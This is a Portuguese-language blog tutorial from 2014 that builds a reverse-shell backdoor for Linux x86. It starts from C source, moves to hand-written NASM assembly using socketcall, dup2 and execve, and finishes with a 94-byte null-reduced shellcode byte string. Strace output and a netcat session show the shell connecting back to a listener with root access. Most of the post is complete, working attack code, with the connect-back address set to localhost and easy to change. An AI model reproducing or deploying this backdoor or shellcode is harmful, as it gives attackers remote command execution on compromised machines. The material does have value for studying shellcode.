quarta-feira, 5 de novembro de 2014

Reverse Backdoor em ASM ( Linux - x86 )

Eaw, nesse breve texto eu vou falar um pouco sobre como fazer um backdoor em assembly, usando system calls, let's go.

Para criar o backdoor utilizaremos as seguintes system calls:
sys_socketcall // inicializar o socket e fazer a conexão reversa (man socketcall)
sys_dup2 // duplica o fd de um arquivo (man dup2)
sys_execve // executa algum programa (man execve)
A ideia de fazer esse shellcode, me veio depois de ver a source de um backdoor reverse, em C :
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>

int main(void){
	int sock;
	struct sockaddr_in con;

	sock = socket(AF_INET,SOCK_STREAM,0);


	con.sin_family = AF_INET;
	con.sin_port = htons(31337);
	con.sin_addr.s_addr = inet_addr("127.0.0.1");

	connect(sock,(struct sockaddr * )&con, sizeof(con));

	dup2(sock,0); dup2(sock,1); dup2(sock,2);
	execve("/bin/sh",0,0);

	return 0;
}
Explicando o código:
Se conecta em 127.0.0.1, na porta 31337, feito isso ele copia o fd
do stdin (0), stdout (1), stderr (2), para sock, que é o fd da conexão, depois executa
a shell (/bin/sh)

Bem, como podem ver é bem simples, e so usa 4 funções (socket,connect,dup2,execv) , vamos começar criando o nosso socket, para isso vamos usar a sys_call numero 102(0x66), sys_socketcall:
mmxm@hc0der:~$ cat /usr/include/asm/unistd_32.h | grep socketcall
#define __NR_socketcall		102
Parâmetros passados para função:
socketcall(int call, unsigned long *args);

usando a função socketcall, podemos chamar uma subfunção que é a socket, lista de subfunções:
mmxm@hc0der:~$ cat /usr/include/linux/net.h
[...]
#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_BIND	2		/* sys_bind(2)			*/
#define SYS_CONNECT	3		/* sys_connect(2)		*/
#define SYS_LISTEN	4		/* sys_listen(2)		*/
#define SYS_ACCEPT	5		/* sys_accept(2)		*/
#define SYS_GETSOCKNAME	6		/* sys_getsockname(2)		*/
#define SYS_GETPEERNAME	7		/* sys_getpeername(2)		*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)		*/
#define SYS_SEND	9		/* sys_send(2)			*/
#define SYS_RECV	10		/* sys_recv(2)			*/
#define SYS_SENDTO	11		/* sys_sendto(2)		*/
#define SYS_RECVFROM	12		/* sys_recvfrom(2)		*/
#define SYS_SHUTDOWN	13		/* sys_shutdown(2)		*/
#define SYS_SETSOCKOPT	14		/* sys_setsockopt(2)		*/
#define SYS_GETSOCKOPT	15		/* sys_getsockopt(2)		*/
#define SYS_SENDMSG	16		/* sys_sendmsg(2)		*/
#define SYS_RECVMSG	17		/* sys_recvmsg(2)		*/
#define SYS_ACCEPT4	18		/* sys_accept4(2)		*/
[...]
Para criar o socket, então usamos o numero 1, no primeiro parametro da funcao, sendo assim, ebx tem que ser 1.
ecx vai ser o array, contendo as opções que serão enviadas para sys_socket, exemplo em C:
unsigned long args[]={AF_INET,SOCK_STREAM,0};
sys_socketcall(1, args); // = socket(AF_INET,SOCK_STREAM,0);
Em assembly:
 global _start

_start:
;socket

	xor eax,eax ; zerando eax,ebx e ecx. Xor de dois numeros iguais equivale a zero [echo $((5^5))]
	xor ebx,ebx
	xor ecx,ecx

	push 0x66 ; coloca o numero da system call em hexadecimal no inicio do stack, poderia tambem ser 66h, 102 ou 102d.
	pop eax ; pop retorna o primeiro valor no stack pra uma variavel, no caso eax

	inc ebx ; ebx agora e igual a 1 , inc = var++

	push ecx ;| ecx, no lugar de 0, para evitar bytes nulo no nosso shellcode
	push 1   ;| poderia ser ebx tbm. (SOCK_STREAM)
	push 2   ;| 0,1 e agora 2, estaƒÂ£o no stack. (AF_INET)

	mov ecx, esp ; sp (Stack Pointer), copia tudo que esta no stack 0,1 e 2, para ecx
	int 0x80 ; efetua a system_call

;exit - so pra nao dar erro de segfault

	xor eax,eax
	inc eax; sys_exit  = 1
	int 0x80

Compilando:
mmxm@hc0der:~$ nasm -f elf backdoor.asm
mmxm@hc0der:~$ ld -s -o backdoor backdoor.o
Verificando se o codigo funciona usando strace:
mmxm@hc0der:~$ strace ./backdoor
execve("./backdoor", ["./backdoor"], [/* 32 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
_exit(1)                                = ?
Deu certo !!! Como podem ver, o socket foi criado, ele retorna 3, que é o numero do fd do socket.

Quando usamos system calls em assembly, um numero é retornado, se ele for igual ou maior que 0, significa que a operação ocorreu com sucesso, caso contrario, algum erro aconteceu, esse valor é armazenado em eax, vamos move-lo para edx, e agora vamos usar outra sub-função da socketcall (connect).
[...]

mov edx, eax; armazena o fd do socket criado em edx

;struct sockaddr_in {
;    short            sin_family;
;    unsigned short   sin_port;
;    struct in_addr   sin_addr;
;    char             sin_zero[8];  // zero this if you want to
;};


	xor ecx, ecx

	; struct in_addr sin_addr

	push 0x0100007F ; endereco de iP (127.0.0.1) 127 = 7F , 0 = 00 , 0 = 00 , 1 = 01
	push word 0x3930; porta em hexadecimal (12345)

	;;;;

	push word 2; familia do socket SOCK_STREAM

	mov ecx, esp

; connect

	push 3 ; SYS_CONNECT = 3
	pop ebx

	push 16 ; sizeof(struct sockaddr_in)
	push ecx ; struct sockaddr_in
	push edx ; socket fd

	mov ecx, esp

	push 0x66; sys_socketcall
	pop eax

	int 0x80

verificando se funciona:
mmxm@hc0der:~$ nasm -f elf backdoor.asm
mmxm@hc0der:~$ ld -s -o backdoor backdoor.o
mmxm@hc0der:~$ strace ./backdoor
execve("./backdoor", ["./backdoor"], [/* 32 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
_exit(3)                                = ?
Em outro terminal:
mmxm@hc0der:~$ nc -lvvp 12345
listening on [any] 12345 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35131
 sent 0, rcvd 0
Funcionouuuuuuuu, agora que já sabemos como conectar o resto é facil, só falta usar sys_dup2 e sys_execve e o backdoor ta pronto:
; dup2(sock,0)

	xor ecx, ecx

	push 63
	pop eax
	mov ebx, edx
	int 0x80

; dup2(sock,1)

	push 63
	pop eax
	inc ecx
	int 0x80

; dup2(sock,2)

	push 63
	pop eax
	inc ecx
	int 0x80

; execve("/bin//sh",0,0)

	push 11
	pop eax

	xor ecx, ecx
	xor edx, edx

	push ecx
	push 0x68732f2f
	push 0x6e69622f

	mov ebx, esp
	int 0x80


Testando o script completo agora> gist.github.com
mmxm@hc0der:~$ nasm -f elf backdoor.asm
mmxm@hc0der:~$ ld -s -o backdoor backdoor.o
mmxm@hc0der:~$ ./backdoor

-----

mmxm@hc0der:~$ nc -lvvp 12345
listening on [any] 12345 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35134
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/root
whoami
root
exit
 sent 19, rcvd 50

- Gerando shellcode

$ objdump -d ./backdoor
Null-byte no shell-code é só por causa do IP, deixei assim mesmo...
Shellcode size: 94 bytes
#include <stdio.h>
#include <string.h>

int main(void){
	char shellcode[]=
		"\x31\xc0\x31\xdb\x31\xc9\x6a\x66\x58\x43\x51\x6a"
		"\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\x31\xc9\x68"
		"\x7f\x00\x00\x01" // ENDERECO IP 127.0.0.1
		"\x66\x68"
		"\x30\x39" // PORTA 12345
		"\x66\x6a\x02\x89\xe1\x6a\x03\x5b\x6a\x10\x51\x52"
		"\x89\xe1\x6a\x66\x58\xcd\x80\x31\xc9\x6a\x3f\x58"
		"\x89\xd3\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x6a\x3f"
		"\x58\x41\xcd\x80\x6a\x0b\x58\x31\xc9\x31\xd2\x51"
		"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
		"\xcd\x80";

	printf("Shellcode size: %d\n",sizeof(shellcode)-1);
	return 0;
}


- Referências

[1] Linux/net/socket.c (Acessado em: Novembro/2014)
http://lxr.free-electrons.com/source/net/socket.c
[2] Where is the socket()? (Acessado em: Novembro/2014)
http://www.skyfree.org/linux/kernel_network/socket.html
[3] Hexadecimal to hex converter (Acessado em: Novembro/2014)
http://www.binaryhexconverter.com/hex-to-decimal-converter
[4] Demystifying the Execve Shellcode (Stack Method) (Acessado em: Novembro/2014)
http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html
[5] Struct sockaddr and pals (Acessado em: Novembro/2014)
http://www.beej.us/guide/bgnet/output/html/multipage/sockaddr_inman.html

Nenhum comentário:

Postar um comentário